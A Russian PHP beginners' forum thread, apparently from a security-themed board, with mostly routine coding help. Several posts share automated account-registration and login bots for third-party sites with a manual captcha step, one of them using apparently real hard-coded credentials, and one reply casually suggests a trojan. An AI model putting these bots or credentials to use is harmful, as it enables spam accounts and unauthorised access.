Просмотр полной версии : [php] Новичкам: задаем вопросы
preg_match('/\/\/(.+?)\//', $string, $result);
<?php
$text = 'http://antichat.ru/kill.php';
$url = parse_url($text);
print_r($url);
mailbrush
06.07.2009, 19:45
OdaN,parse_url('http://site.com/bla-bla-bla',PHP_URL_HOST);
heretic1990
06.07.2009, 22:52
Есть файл db.txt
в файле .htaccess доступ через браузер закрыт, как средствами php скачать этот файл?
экспортировать как нибудь?
Есть файл db.txt
в файле .htaccess доступ через браузер закрыт, как средствами php скачать этот файл?
экспортировать как нибудь?
<?
require_once('db.txt');
?>
;)
header('Content-Description: File Transfer');
header('Content-Disposition: attachment; filename="db.txt"');
header('Content-Transfer-Encoding: binary');
header('Content-Type: application/octet-stream');
readfile('db.txt');
heretic1990
06.07.2009, 23:55
header('Content-Description: File Transfer');
header('Content-Disposition: attachment; filename="db.txt"');
header('Content-Transfer-Encoding: binary');
header('Content-Type: application/octet-stream');
readfile('db.txt');
то что надо, всем спасибо!
Подскажите, можно ли как-нибудь спрятать пхп код. К примеру я продаю человеку скрипт, но не хочу что-бы он видел исхоники кода и их менял.
m0nsieur
07.07.2009, 17:50
Можно их за'zend'ить (при помощи программы Zend Encoder, но она платная), да и при желании их можно и обратно преобразовать(видел здесь на форуме zend decoder выкладывали).
blood150
07.07.2009, 18:15
извените что пишу тут, но не смог найти где написать, вопрос такой.
нужно приложение которое работало бы так (указываю любую програмку к примеру винамп и оно даёт всю информацию о программе где установлена какие файлы установились в папке виндовс\систем32, что записалось в реестр) мне это надо чтоб я смог собрать программу по кусочкам создать фаил реестра и потом на другом компе разложить также и чтоб она там работала.
Очень пожалуйсто прошу помощи, заранее спасибо.
извените что пишу тут, но не смог найти где написать, вопрос такой.
нужно приложение которое работало бы так (указываю любую програмку к примеру винамп и оно даёт всю информацию о программе где установлена какие файлы установились в папке виндовс\систем32, что записалось в реестр) мне это надо чтоб я смог собрать программу по кусочкам создать фаил реестра и потом на другом компе разложить также и чтоб она там работала.
Очень пожалуйсто прошу помощи, заранее спасибо.
НЕвозможно, если тока поставить что бы клиент скачал троя, и выдрал всю инфу.
извените что пишу тут, но не смог найти где написать, вопрос такой.
нужно приложение которое работало бы так (указываю любую програмку к примеру винамп и оно даёт всю информацию о программе где установлена какие файлы установились в папке виндовс\систем32, что записалось в реестр) мне это надо чтоб я смог собрать программу по кусочкам создать фаил реестра и потом на другом компе разложить также и чтоб она там работала.
Очень пожалуйсто прошу помощи, заранее спасибо.
Ты, конечно не в теме тут запослил... :D
Если я правильно тнбя понял, тебе поможет программа Regshot. Она делает снимок реестра и отслеживает изменения в реестре и в файловой сисеме... Сделаешь первый снимоу до установки программы, а второй сразу после.. Регшот покажет что изменилось в реестре и в файлах...
nub-hacker
08.07.2009, 10:06
Подскажите плиз. пишу свой шелл. вот код.
<?php
$dirs=array();
$files=array();
$d=getcwd();
$dh=opendir($d);
while(!(($file = readdir($dh)) === false))
{
if($file == "." || $file == "..")
continue;
if(is_dir("$d/$file"))
{
$dirs[]=$file;
}
else
{
$files[]=$file;
}
for($i=0; $i<count($files); $i++)
{
echo "$dirs[$i]<br>";
}
}
?>
Почему о не работает под денвером? вроде всё правильно. Этот скрипт должен отбразить файлы в текущем каталоге
BlackSilver
08.07.2009, 10:28
А что не работает?
Попробуй, кстати, так:
for($i=0; $i<count($dirs); $i++)
echo $dirs[$i]."<br>";
for($i=0; $i<count($files); $i++)
echo $files[$i]."<br>";
nub-hacker
08.07.2009, 10:30
А что не работает?
Попробуй, кстати, так:
for($i=0; $i<count($dirs); $i++)
echo $dirs[$i]."<br>";
for($i=0; $i<count($files); $i++)
echo $files[$i]."<br>";
Он ничего не показывет, на экран выводиться что масив dir пустой. Вы его тестили на своей тачке?
add//
спасибо!!! помогло. интерестно что я не так сделал был
KaMiKadZe
08.07.2009, 11:55
Проблемы с выводом русских данных из MySQL, выводит "?????????????"
В MySQL стоит cp1251_general_ci, в файле стоит
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
в .htaccess писал
AddDefaultCharset windows-1251
Ничего не помогает, в чем может быть проблема?
p.s Файлы на хостинге...
в мускуле utf8 - соединение с бд cp1251
KaMiKadZe
08.07.2009, 12:46
в мускуле utf8 - соединение с бд cp1251
Блин, а как это исправить?
Попробуй такое вставить в скрипт после соединения с MySQL:
if(function_exists('mysql_set_charset'))
{
mysql_set_charset('cp1251');
}
else
{
mysql_query('SET CHARACTER SET cp1251');
mysql_query('SET NAMES cp1251');
}
lonely night wolf
08.07.2009, 14:31
Я совсем начинающий, так сказать, и столкнулся с такой проблемой.
В БД есть таблица:
id Имя Фамилия Отчество
1 Маша Иванова Николаевна
1 Денис Попова Владимирович
2 Света Кузнецова Светлавна
2 Петя Сидоров Петрович
Делаю запрос на выбор всех данных где id равен "1" Получаю переменную. в которую попали данные только по Маше, если запрос повторяю, попадают данные о Денисе. Можно ли как-то загнать в массив сразу всех или они и загоняются все только я не знаю как достать из переменной.
На сомом деле хотел спросить проще: как из $result = mysql_fetch_array вытащить второй ряд не производя запрос повторно. Вот что у меня в результе.
Array ( [a] => 1 [b] => text [c] => 1 [d] => 1 ) Array ( [a] => 2 [b] => text 2 [c] => 1 [d] => 1 ) Array ( [a] => 3 [b] => text 3 [c] => 1 [d] => 1 )
Как выдернуть A из второго Array если это все в одном результе.
lonely night wolf
$query = mysql_query("SELECT * FROM table WHERE id=1");
while ($row = mysql_fetch_array($query))
{
var_dump($row);
}
blood150
08.07.2009, 15:01
Если я правильно тнбя понял, тебе поможет программа Regshot. Она делает снимок реестра и отслеживает изменения в реестре и в файловой сисеме... Сделаешь первый снимоу до установки программы, а второй сразу после.. Регшот покажет что изменилось в реестре и в файлах...[/QUOTE]
спасибки тебе Fepsis, а можно ещё вопросик, яж уже давно устанавливал эту программу так как теперь отчистить до конца реестр чтоб потом установить её и узнать что она там прописала?
lonely night wolf
08.07.2009, 16:16
lonely night wolf
$query = mysql_query("SELECT * FROM table WHERE id=1");
while ($row = mysql_fetch_array($query))
{
var_dump($row);
}
Это выведет мне все что есть в $row, а мне нужна одна переменная из всего списка.
Pashkela
08.07.2009, 16:34
echo $row[тут_номер_ключа_в_массиве];
upload.php
<?php
echo '<table width="464" border="1">
<tr>
<td><center><b>Путь на вашем компьютере</b>:</center></td>
<td><input type="text" name="textfield" id="textfield" value='.$_POST['fileinput'].'/></td>
</tr>
</table>';
?>
index.php
<html>
<body>
<form id="form1" name="form1" method="post" action="upload.php" enctype="multipart/form-data">
<input type="file" name="fileinput" id="textfield" size="50" class="fileinput1" />
<br />
<br />
<input type="submit" name="button-upload1" id="button" value="Загрузить" />
</form>
</body>
</html>
В чем дело? Почему в таблицу не пишеться переменная $_POST['fileinput'] ?
Что я делаю не так? (нужен именно путь а не название файла)
Помогайте :)
это уже не пост ... а $_FILE['fileinput'] - это массив .. там имя файла и т.д
это уже не пост ... а $_FILE['fileinput'] - это массив .. там имя файла и т.д
не знаешь - не говори
не знаешь - не говори
Он сказал верно. Путь абсолютный не узнаешь никак, максимум - имя файла - $_FILES['fileinput']['name'].
Он сказал верно. Путь абсолютный не узнаешь никак, максимум - имя файла - $_FILES['fileinput']['name'].
Во первых тогда уж не $_FILE['fileinput'] как он написал а $_FILES['fileinput']
Во вторых я просил помочь а не писать "т.п. и т.д." как написал doom, и про массив я знаю сам... (doom ты либо не знаешь php если такое написал, либо не внимательно прочел что мне надо)
Вообще, можно читернуть JavaScript'ом, но работает такое только в IE, другие браузеры опять-таки абсолютный путь не отдадут:
<html>
<body>
<script language='JavaScript'>
function getname(v)
{
document.getElementById('secret').value=v;
}
</script>
<form id="form1" name="form1" method="post" action="upload.php" enctype="multipart/form-data">
<input type="file" name="fileinput" id="textfield" size="50" class="fileinput1" onchange="getname(this.value);" onkeyup="getname(this.value);"/>
<input type='hidden' id='secret' name='path'>
<br />
<br />
<input type="submit" name="button-upload1" id="button" value="Загрузить" />
</form>
</body>
</html>
Тогда путь будет получен в $_POST['path'].
diznt сорь не прочитал .. и опечатался .. просто прочитал первую строку ... )))
heretic1990
09.07.2009, 11:18
DTW, имеешь ввиду как это разшифровать?
imajo.ati
09.07.2009, 14:24
<html>
<body>
<form method="post" action="upload.php" enctype="multipart/form-data">
<input type="file" name="fileinput"> файл<br>
<input type="text" name="path"> скопируйте сюда текст из верхнего поля, а то случится 123!<br>
<input type="submit" value="Загрузить">
</form>
</body>
</html>
Скрипт практически реализован . Но пока научился сохранять данные страницы в txt файл и вырезать нужную часть кода .... вот отрывок -
$res = $webpage->get_document_body($as_text); //получаем код страницы
$p1 = strpos($res,"KeywordSearchesTop BidBid #2Bid #3Bid #4Bid #5");
$p2 = strpos($res,"All.com Advertiser!");
$s = substr($res, $p1+46, $p2-$p1-46); AddFile("result.txt",$s);
fputs($s);
fclose($s);
но при этом у меня выдергивется вся таблица (в виде текста при чем колонки накладываются одна на другую) от начала и до конца ,
мне нужна только 2 колонка этой таблицы.
Вопрос как можно сохранить в файл допустим csv пусть со всей статистикой (но ведь тогда можно будет выделить всю колонку в EXEL ) Или же сразу скопировать всю колонку.
imajo.ati
09.07.2009, 22:09
мне нужна только 2 колонка этой таблицы.
Вопрос как можно сохранить в файл допустим csv пусть со всей статистикой (но ведь тогда можно будет выделить всю колонку в EXEL ) Или же сразу скопировать всю колонку.
нужен текст из $s или из $res для решения первой строчки цитаты. второе предложение не понял
http://conversion.7search.com/scripts/advertisertools/keywordsuggestion.aspx
от сюда надо с колонки с кеями забрать все содержимое в виде текста
или же на худой конец забрать всю таблицу - но уже в виде таблицы .Так как когда забираю текстом все то колонки накладываются одна на другую
Pashkela
09.07.2009, 22:37
----
http://conversion.7search.com/scripts/advertisertools/keywordsuggestion.aspx
URL has been blocked by Outpost Firewall Pro content filter.
сайт был заблокирован согласно списка вредоносных сайтов
imajo.ati
09.07.2009, 22:59
допустим в $res содержится всё между
<table cellspacing="3" cellpadding="2" rules="all" border="0" id="dgKeywordSuggestions" width="100%">
и
</table>
тогда колонку Keyword (при условии что стоит опция Don't show estimates) можно выдрать так:
// $res = тут таблица
$cells_count = preg_match_all('~(\t<td.+</a></font></td>)~',$res,$cells);
$cells = $cells[1];
$cells_count = count($cells);
for ( $i=0; $i<$cells_count; ++$i )
$cells[$i] = preg_replace('~<[^>]+>~','',trim($cells[$i]));
print_r($cells);
Есть переменная... Нужно ее использовать в других скриптах... Как это сделать?
Знаю что вопрос тут обсуждался. Но подскажите в какую сторону капать!
Есть переменная... Нужно ее использовать в других скриптах... Как это сделать?
Знаю что вопрос тут обсуждался. Но подскажите в какую сторону капать!
Через инклуде можно...сессии ещё по-моему...
Есть переменная... Нужно ее использовать в других скриптах... Как это сделать?
Знаю что вопрос тут обсуждался. Но подскажите в какую сторону капать!
require();
include();
include();
require();
require_once();
eval(file_get_contents());
GrimmJow
10.07.2009, 22:06
Только-только решил взяться за php, возник вопрос при выполнения одного задания из учебника:
<?
echo "<html><body><h1>";
echo "Hello, $name";
echo "</h1></body></html>";
?>
если сделать ссылку вида php?name=Grim
при открытии браузером он пишет просто хелло. при этом в учебнике написано ,что дожнен написать Hello, Grim.
Объясните, в чем ошибка, если не трудно. Заранее спасибо.
Добавь в начале $name = $_GET['name']; и почитай про $_GET[]; и $_POST[];
Только-только решил взяться за php, возник вопрос при выполнения одного задания из учебника:
<?
echo "<html><body><h1>";
echo "Hello, $name";
echo "</h1></body></html>";
?>
если сделать ссылку вида php?name=Grim
при открытии браузером он пишет просто хелло. при этом в учебнике написано ,что дожнен написать Hello, Grim.
Объясните, в чем ошибка, если не трудно. Заранее спасибо.
Если в учебнике так пишут ,то не советую учиться по нему.За это отвечает опция register globals в php.ini
GrimmJow
10.07.2009, 22:33
тогда, не посоветуете учебник, по которомы вы занимались?
2 Джим ди Гриз, спасибо, помогло.
2 GrimmJow. Попробуй Дмитрий Котеров, Алексей Костарев PHP 5, книга хорошая и стоить будет соответственно.
Есть хорошая книга.
Максим Кузнецов
Игорь Симдянов
Сергей Голышев
PHP 5 на примерах.
Хорошая книга, за 235 рэ брал.
GrimmJow
10.07.2009, 22:57
спасибо, скачал обе. Буду изучать )
Пишу полуавтоматический регер (с ручным вводом капчи) для одного сайта на Curl...
Система такая:
1) Захожу на главную страницу сайта, сохраняю куки, парсю кое-какие параметры, без которых недоступна страница регистрации...
2) С сохранёнными куками и параметрами захожу на страницу авторизации... Нам парсю параметры, посылаемые в пост запросе при регистрации... Также парсю идентификатор капчи, и вывожу эту картинку с полем для ввода, формирую пост запрос...
3) Отсылаю пост запрос с подгружёнными куками, и текстом с капчи....
В результате получаю сообщение, что текст с картинки не верен..( В чём тут может быть дело..?! Куки пытался пересохранять в пункте 2) и подгружать в 3) не помогло...
Если можно, дайте простой пример на курле какого-нибудь скрипта (не важно регера или чего-то другого) с ручным вводом капчи...
:confused:
imajo.ati
11.07.2009, 10:40
Также парсю идентификатор капчи, и вывожу эту картинку с полем для ввода
капча 2 раза меняется. первый раз при парсинге идентификатора, второй раз при выводе тебе на страницу регистрации. при выводе уже id другой, а используется спарсенный. нельзя 2 раза капчу запрашивать с сайта.
FireFenix
11.07.2009, 14:21
Сохраняешь капчу, потом выводишь на экран
Пример для мир тесен
<?php
$login = 'gebdiman@mail.ru';
$pass = 'dmitriy';
session_start();
function post($url='',$content=null,$referer=null,$follow=0 )
{
GLOBAL $cookie;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, $follow);
if (!empty($cookie)) curl_setopt($ch, CURLOPT_COOKIE, implode('; ',array_values($cookie)));
if (!empty($content)) {curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS, $content);} else {curl_setopt($ch, CURLOPT_POST, 0);}
if (!empty($referer)) curl_setopt($ch, CURLOPT_REFERER, $referer);
$ss=curl_exec($ch);
curl_close($ch);
if (preg_match_all('#^Set-Cookie: (([^;=]+)=([^;=]+))#mi',$ss,$cook))
{
if ($tmpcookie=array_combine($cook[2],$cook[1]))
$cookie=(array)$tmpcookie + (array)$cookie;
}
return preg_replace('~[\s\S]+\r\n\r\n~U','',$ss,1);
}
if (!isset($_POST['captcha']))
{
// Удаляем сессионный файл, чтобы не путал
unset($_SESSION['mir']);
// Получаем начальные куки
$in = post('http://mirtesen.ru/login');
preg_match('#<img src="http://mirtesen.ru/captcha/login?(.*?)"#i', $in, $match_capt);
// Делаем локальную копию куки ()ак надо)
file_put_contents('local.jpg',post('http://mirtesen.ru/captcha/login?'.$match_capt[1],null,'http://mirtesen.ru/login'));
// Выводим форму
echo '<img src="local.jpg" alt=""><p><form name="spam" method="POST">
<input type="text" name="captcha">
<input type="submit" value ="Ok"></form>';
// Сохраняем куки полученные при данном запуске
$_SESSION['mir']=serialize($cookie);
} else
{
// Загружаем куки, полученные при первом запуске скрипта
$cookie = $_SESSION['mir'] ? unserialize($_SESSION['mir']) : array();
// Логинимся
post('http://mirtesen.ru/login','auth%5Bbackurl%5D=&auth%5Blogin%5D='.urlencode($login).'&auth%5Bpassword%5D='.urlencode($pass).'&auth%5Bcaptcha%5D='.trim($_POST['captcha']).'&auth%5Bremember%5D=on','http://mirtesen.ru/login');
// Выводим страницу
$out = post('http://mirtesen.ru/');
$out = iconv('UTF-8','Windows-1251',$out);
echo $out;
}
?>
©
Dark_Scorpicore
11.07.2009, 14:27
Подскажите плиз как выдернуть все картинки форматов *.jpg и *.png с сайта.
Знаю, нужно регулярками пользоваться, но сам шаблон поиска составить не могу...
Поделитесь, у кого есть
Dark_Scorpicore,
Подскажите плиз как выдернуть все картинки форматов *.jpg и *.png с сайта.
http://www.devnotes.ru/regexp.png
([^\s]+(?=\.(jpg|gif|png))\.\2)
PS вот раздел [Регулярки & Mod_Rewrite] Задай вопрос, получи ответ (http://forum.antichat.ru/thread92492.html)
Почему вот этот код:
<?php
$a=$_SERVER["REMOTE_ADDR"];
$b=fopen("base.txt",a);
fwrite($b,$a);
fclose($b);
?>
Сохраняет в файл лишь одну строку 127.0.0.1? Заливал этот файл на народ и ктобы не зашёл IP один и тотже!
Nightmarе
11.07.2009, 15:55
Почему вот этот код:
<?php
$a=$_SERVER["REMOTE_ADDR"];
$b=fopen("base.txt",a);
fwrite($b,$a);
fclose($b);
?>
Сохраняет в файл лишь одну строку 127.0.0.1? Заливал этот файл на народ и ктобы не зашёл IP один и тотже!
На народе нету PHP
Dark_Scorpicore
11.07.2009, 18:06
http://www.devnotes.ru/regexp.png
([^\s]+(?=\.(jpg|gif|png))\.\2)
PS вот раздел [Регулярки & Mod_Rewrite] Задай вопрос, получи ответ (http://forum.antichat.ru/thread92492.html)
К сожалению, пример не работает.
З.ы. Скачиваю картинки с яндекс.директ, если это имеет значение
не понятно одно...с чего начинать обучение простому юзеру...:)
не понятно одно...с чего начинать обучение простому юзеру...:)
азебалеуже
http://forum.antichat.ru/thread81500.html
не понятно одно...с чего начинать обучение простому юзеру...:)
Начинать перестовать задавать глупые вопросы!
К сожалению, пример не работает.
З.ы. Скачиваю картинки с яндекс.директ, если это имеет значение
все картинки форматов *.jpg и *.png
<?php
$code=file_get_contents('http://direct.yandex.ru');
preg_match_all('/<img src="(.*).(jpg|png)"/i', $code, $matches);
echo "<pre>";
print_r ($matches[0]);
echo "</pre>";
?>
Dark_Scorpicore,
К сожалению, пример не работает.
<?php
$code=file_get_contents('http://direct.yandex.ru');
preg_match_all('#([^\s]+(?=\.(jpg|gif|png))\.\2)#i', $code, $matches);
echo "<pre>";
print_r ($matches[0]);
echo "<pre>";
?>
Я незнаю как ты проверял, почему же у меня работает, результат:
Array
(
[0] => src="http://img.yandex.net/i/logo100x43.png
[1] => src="/i/logo-direct.gif
[2] => src="/i/t-title.gif
[3] => src="/i/sample.gif
[4] => src="/i/1.gif
[5] => src="/i/2.gif
[6] => src="/i/3.gif
[7] => src="/i/yandex-money.gif
[8] => src="/i/sberbank.gif
[9] => src="/i/visa.gif
[10] => src="/i/mastercard.gif
[11] => src="/i/wm.gif
[12] => src="/i/artlebedev.gif
[13] => background="http://img.yandex.ru/i/loginform-shadow.gif
[14] => src="http://img.yandex.ru/i/logo-passport.gif
[15] => src="http://img.yandex.ru/i/i-help2.gif
)
L I G A,
А вот у вас код нерабочий и не универсальный, вывело:
<pre>Array
(
[0] => <img src="http://img.yandex.net/i/logo100x43.png"
)
<pre>
А если вместо двойных кавычек будут одинарные? Или же такого вида:
<img align="middle" src=""> уже несовпадение по шаблону получается.
Dark_Scorpicore,
<?php
$code=file_get_contents('http://direct.yandex.ru');
preg_match_all('#([^\s]+(?=\.(jpg|gif|png))\.\2)#i', $code, $matches);
echo "<pre>";
print_r ($matches[0]);
echo "<pre>";
?>
Я незнаю как ты проверял, почему же у меня работает, результат:
L I G A,
А вот у вас код нерабочий и не универсальный, вывело:
А если вместо двойных кавычек будут одинарные? Или же такого вида:
<img align="middle" src=""> уже несовпадение по шаблону получается.
вы невнимательны :
Подскажите плиз как выдернуть все картинки форматов *.jpg и *.png с сайта.
___________________________________________
А если вместо двойных кавычек будут одинарные? Или же такого вида:
<img align="middle" src=""> уже несовпадение по шаблону получается.
учел пожелания:
<?php
$code=file_get_contents('http://direct.yandex.ru');
preg_match_all('/src=("|\')(.*).(jpg|png)("|\')/i', $code, $matches);
echo "<pre>";
print_r ($matches[0]);
echo "</pre>";
?>
zifanchuck
12.07.2009, 19:58
Вот хотел замутить штуку, типа отгадай номер) Но никак не могу запихнуть рандом в $_POST. Как в таких случаях нужно поступать?
<?php
$in = array ("1", "2");
$rands = array_rand($in, 2);
echo "<form method=post>
<input type=submit name=1 value='1'>
<input type=submit name=2 value='2'>
<input type=submit name=3 value='3'>
<input type=submit name=4 value='4'>
</form>";
$out = $in[$rands[0]];
if(isset($_POST['{$out}']))
{
echo "Ты экстрасенс";
}
?>
mailbrush
12.07.2009, 20:27
Омг...
<?php
$number=rand(1,4);
if(isset($_POST['submit']))
if($_POST['number']==$number)
echo 'Ты экстрасенс!<br />';
else
echo 'Ты не угадал, сорри, число было '.$number.'<br />';
?>
<form name="" action="" method="post">
Число(1-4):<br />
<input name="number" type="text" value=""><br />
<input type="submit" name="submit" value="Угадать">
</form>
mailbrush можно было и так, почти как у него
<?php
$in = array ("1", "2");
$rands = array_rand($in, 2);
$out = $in[$rands[0]];
echo "<br>".$out;
?>
<form method="post">
<input type="submit" name="arr[]" value='1'>
<input type="submit" name="arr[]" value='2'>
<input type="submit" name="arr[]" value='3'>
<input type="submit" name="arr[]" value='4'>
<input type="hidden" name="hid" value="<?=$out?>"/>
</form>
<?php
if(isset($_POST['arr']))
{
if ($_POST['arr'][0] == $_POST['hid'])
{
echo "genius";
}
}
?>
mailbrush
12.07.2009, 20:33
diGriz, у него - быдлокод, а у тебя еще хуже.
2mailbrash, я только переделал его код в рабочий вид, а ты его полностью изменил. Правильнее конечно, такую фигню делать с текстовым полем, а не с кнопками.
zifanchuck
12.07.2009, 20:52
mailbrush,diGriz спс. Буду знать на бдущее)
mailbrush
12.07.2009, 21:52
diGriz, твой скрипт выводит правильное число, перед тем, когда нажал кнопку + оно же отправляется в hidden поле.
Написал скрипт для авторегистрации на _http://www.volchat.ru/forum/
Обход капчи - ручной ввод. Но при попытке зарегистрировать юзера пишет, что введённый код не совпадает с проверочным. Кто знает в чём дело?
<?php
//VARs
$host = "www.volchat.ru";
$path = "/forum/profile.php?mode=register";
$p_to_pics = "/forum/profile_pic.php?l=";
$post_path = "/forum/profile.php";
//FUNCTIONs
function get_something($host, $path, $cookie = FALSE) {
$data = "GET ".$path." HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
$data .= "User-Agent: Opera/9.63 (Windows NT 5.1; U; ru) Presto/2.1.1\r\n";
$data .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif\r\n, image/x-xbitmap, */*;q=0.1\r\n";
$data .= "Accept-Language: ru-RU,ru;q=0.9,en;q=0.8\r\n";
$data .= "Accept-Encoding: gzip,identity\r\n";
$data .= "Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1,UCS-2;q=0, UCS-4;q=0, UTF-1;q=0\r\n";
$data .= "TE: deflate, gzip, chunked, identity, trailers\r\n";
if ($cookie) {
// $data .= "Referer: http://".$host.$path."\r\n";
$data .= "Cookie: ".$cookie."\r\n";
}
$data .= "Connection: close;\r\n\r\n";
$t = fsockopen($host, 80, $errno, $error, 30) or die ("Ошибка № ".$errno.": ".$error);
fputs($t, $data);
while(!feof($t)) {$output .= fgets($t, 1024);}
return $output;
}
function get_cookies($page) {
$headers = substr($page, 0, strpos($page, "\r\n\r\n"));
$fragment1 = substr($headers, strpos($headers, "Set-Cookie: "));
$cookie1 = str_replace("Set-Cookie: ", "", substr($fragment1, 0, strpos($fragment1, "; ")));
$fragment2 = str_replace("Set-Cookie: ", "", substr($fragment1, strpos($fragment1, "\r\n")));
$cookie2 = str_replace("\r\n", "", substr($fragment2, 0, strpos($fragment2, "; ")));
$cooks = $cookie1."; ".$cookie2;
return $cooks;
}
function show_capcha($host, $path, $cookie) {
for($i=0; $i<8; $i++) {
$pic_with_hs = get_something($host, $path.$i, $cookie);
$gif = substr($pic_with_hs, strpos($pic_with_hs, "\r\n\r\n")+4);
file_put_contents("{$i}.gif", $gif);
$capcha .= "<img src='{$i}.gif'>";
}
return $capcha;
}
//PROGRAM
$page = get_something($host, $path); //---get page whith cookies
$cookie = get_cookies($page); //---get cookies
$sid = substr($page, strpos($page, "phpbb2mysql_sid")); //---|get sid
$sid = substr($sid, strpos($sid, "=")+1, 32); //---|
echo show_capcha($host, $p_to_pics, $cookie); //---get captcha!
?>
<form method='get' action=''>
Капча: <input type='text' name='cap'>
<input type='Submit' name='go' value='go'>
</form>
<?php
if (isset($_GET['go']) && isset($_GET['cap'])) {
$aya = "абвгдежзиклмнопрстуфхцчшщ ъыьэюяАБВГДЕЖЗИКЛМНОПРСТУ ФХЦЧШЩЪЫЬЭЮЯ";
// $az = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWX YZ";
for($i=0; $i<9; $i++) {
$x = rand(0, strlen($aya)-1);
$nm .= $aya[$x];
$mail .= rand(0, 9);
// $y = rand(0, strlen($az)-1);
// $pass .= $az[$y];
}
$pass = "8967trtr1";
$reginf = "username=".$nm."&user_email=".$mail."@mail.ru&user_email_confirm=".$mail."@mail.ru&robot_confirm=".$_GET['cap']."&new_password=".$pass."&password_confirm=".$pass."&user_from=Z-city&user_gender=1&agree_rules=1&submit=Отправить&mode=register&u=-1&sid=".$sid."&forum_rules_present=1";
$post = "POST ".$post_path." HTTP/1.1\r\n";
$post .= "Host: ".$host."\r\n";
$post .= "User-Agent: Opera/9.63 (Windows NT 5.1; U; ru) Presto/2.1.1\r\n";
$post .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif\r\n, image/x-xbitmap, */*;q=0.1\r\n";
$post .= "Accept-Language: ru-RU,ru;q=0.9,en;q=0.8\r\n";
$post .= "Accept-Encoding: gzip,identity\r\n";
$post .= "Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1,UCS-2;q=0, UCS-4;q=0, UTF-1;q=0\r\n";
$post .= "Cookie: ".$cookie."\r\n";
$post .= "Content-Type: application/x-www-form-urlencoded\r\n";
$post .= "Content-Length: ".strlen($reginf)."\r\n";
$post .= "Connection: close\r\n\r\n";
$post .= $reginf;
$tr = fsockopen($host, 80, $errno, $error, 30) or die ("ERROR!");
fputs($tr, $post);
while(!feof($tr)) {echo fread($tr, 1024);}
$string = $nm." registered with password '".$pass."' на адрес ".$mail."@mail.ru\r\n";
$log = fopen("reg.log", a) or die ("Не удаётся открыть файл");
fwrite($log, $string) or die ("Не удаётся записать в файл");
fclose($log);
}
?>
mailbrush
13.07.2009, 11:30
Юзай КУРЛ... Ща, мб, напишу рабочий...
есть может у кого "регистратор)" мыл на яндексе ?
есть может у кого "регистратор)" мыл на яндексе ?
в паблике на php нет рабочего
Есть текстовый фаил вида
Line 62068: [14 июл 9:05:17] CREATE:Loot, item 268489235:Spellbook: Mystic Immunity(1), player SP-Dizded, Deinonychus
Line 62070: [14 июл 9:05:18] CREATE:Loot, item 268489238:Amulet: Pa'agrio's Emblem(1), player SP-Dizded, Deinonychus
Line 62084: [14 июл 9:05:26] CREATE:Loot, item 268489260:Spellbook: Summon Feline King(1), player SP-Dizded, Ornithomimus
Line 62384: [14 июл 9:09:52] CREATE:Loot, item 268489951:Ancient Spellbook: Gehenna(1), player SP-Dizded, Tyrannosaurus
Как можно вывести только числа которые идут после item и запихать их в массив $mass
Дата может быть разной длинны также не получится далать с какого сомвола считывать, а вот числа эти всегда начинаются на 268
FireFenix
14.07.2009, 13:09
<?php
$text = 'Line 62068: [14 июл 9:05:17] CREATE:Loot, item 268489235:Spellbook: Mystic Immunity(1), player SP-Dizded, Deinonychus
Line 62070: [14 июл 9:05:18] CREATE:Loot, item 268489238:Amulet: Pa\'agrio\'s Emblem(1), player SP-Dizded, Deinonychus
Line 62084: [14 июл 9:05:26] CREATE:Loot, item 268489260:Spellbook: Summon Feline King(1), player SP-Dizded, Ornithomimus
Line 62384: [14 июл 9:09:52] CREATE:Loot, item 268489951:Ancient Spellbook: Gehenna(1), player SP-Dizded, Tyrannosaurus';
preg_match_all('/item\040([^:]*):/ims', $text, $match);
$mass = $match[1];
print_r($mass);
?>
как заменить содержимое элементов массива по маске не затронув останльную часть...и вернуть всё вместе как изменённый массив
str_replace чё то не получилось
mailbrush
14.07.2009, 13:50
preg_replace();
Глупый вопрос по смарти.
Имеем например 2 шаблона.
header.tpl, footer.tpl
И что,чтобы вывести на экран собердивое,нужно 2 раза делать дисплей?
Тоесть
,
$smarty->assign('header', 'Albert');
$smarty->display('header.tpl');
$smarty->assign('footer', 'Albert');
$smarty->display('footer.tpl');
lexa hak
15.07.2009, 03:50
привет всем.помогите залить скрипт на хостинг.пишите мне на мыло.моя почта lybly-pivo@yandex.ru
================================================== =========
заранее спасибо
привет всем.помогите залить скрипт на хостинг.пишите мне на мыло.моя почта lybly-pivo@yandex.ru
================================================== =========
заранее спасибо
авторизируешься в административной панеле, заходишь на ftp и заливаешь скрипт=)
есть 5 частей
а1
а2
а3
а4
а5
нужно рандомно выбрать 3 части, разные. =) не сооброжу
нашел =)
<?php
$rand = array();
while (count($rand) < $total ) {
$r = mt_rand($min,$max);
if ( !in_array($r,$rand) ) {
$rand[] = $r;
}
}
?>
если есть проше пишите=)
mailbrush
15.07.2009, 10:45
XopoIII, конечно есть...
<?php
$array = array('a1', 'a2', 'a3', 'a4', 'a5');
for ($i = 0; $i <= 2; $i++)
echo $array[array_rand($array)] . "<br>\r\n";
?>
nub-hacker
15.07.2009, 12:56
<?php
if(mysql_connect("localhost","root","")!=0)
print ("Connect to MySQL");
else
die;
mysql_select_db("forum");
$result=mysql_query("SELECT FROM * user");
print ($result);
?>
Вот поставил себе на локалхост форум vbulitenn для оббучения SQL. Так вот написанно в учебниkе что этот код должен вывести содержание таблицы user. но выводиться токо Connect to MySQL и всё. помогите плиз
mailbrush
15.07.2009, 13:00
Нельзя вывести сам результат mysql, необходимо его обработать одной из функций: mysql_fetch_array, mysql_fetch_assoc.
Для вывода массива используется функция print_r();
PS: У тебя куча ошибок в коде, используй этот:
<?php
mysql_connect('localhost', 'root', false) or die(mysql_error());
